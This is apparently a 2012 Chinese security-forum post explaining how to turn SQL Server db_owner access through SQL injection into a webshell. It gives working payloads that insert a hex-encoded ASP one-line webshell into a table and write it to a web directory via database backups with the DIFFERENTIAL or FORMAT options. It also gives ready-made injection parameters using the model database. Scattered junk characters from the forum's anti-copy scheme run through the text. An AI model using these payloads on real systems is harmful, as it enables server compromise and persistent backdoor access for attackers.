找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1961|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:31:07 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
DB_OWNER权限得到webshell的两点改进:7 V! ?4 ?1 n5 X4 h$ w* ~. O9 H" t

( o% b3 \$ {' `/ g( d. E+ p减少备份文件大小,得到可执行的webshell成功率提高不少" o0 c' l2 [2 ^% ^3 i) w# {
一利用差异备份& G. O, O4 c% q9 I% b/ u! D
加一个参数WITH DIFFERENTIAL
9 x2 z  G" w2 F  {& G  M
* c1 N) b$ z- N/ e; @% h: ~1; `, K9 x) x6 {% `" R
2
: e' }! q3 ~% d3" l6 S- A1 Y/ o0 z8 j2 |
4
$ _" _, B2 n' [( t  G4 @ declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
: {) A+ R! X) E& c# t1 `+ E0 mcreate table [dbo].[xiaolu] ([cmd] [image]);
7 d0 x7 @8 @2 o; d9 H0 V( oinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
( u! \" f) d; [& S  L+ ~declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL : }( y7 S% U# S( t* x
* L- g4 s; Y0 z! x
二利用完全FORMAT7 z* x: E, i4 ~5 e* R0 q1 X4 i3 k
加一个参数WITH FROMAT
. B# x) d' c, x4 I, [有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以* c2 b2 P) }6 H! H; b/ f; O
$ R! K) X7 L* A5 h
17 y- `  o" \; u7 D
2) Y+ f' R! A( H+ Y# g
3! ]2 t% D7 \! S- T  z: F" \% a
4" n5 ]/ p3 E( H5 S/ [
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
- N* F7 I4 d+ Lcreate table [dbo].[xiaolu] ([cmd] [image]);+ j& x( N# t3 \5 K1 S% g
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)3 t1 W4 G( F' X* g; O6 u
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
; D9 y$ k8 e$ z8 X2 v2 b* Y. y0 c1 r0 M9 r
总的来说就是那么简单几句,下面以备份数据库model为例子
5 o; x) P1 N9 V: w* W" d16 m5 O/ Z5 f4 A# N- x- R
/ y0 L( Q- ^% K7 u" k
1
( r  m( U* q# F id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>') 1 g% B6 `8 z3 e9 o

; s0 |# r4 y4 S3 ^2" x, u1 c$ s9 j& A6 D
5 {/ a& w! `0 _: S: x- p' j
1( v( [) j  c7 {, U
id=1;backup database model to disk='你的路径‘ with differential,format;-- # N' R% ?- j1 y1 Z! F% c7 ~0 ^$ h* {
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表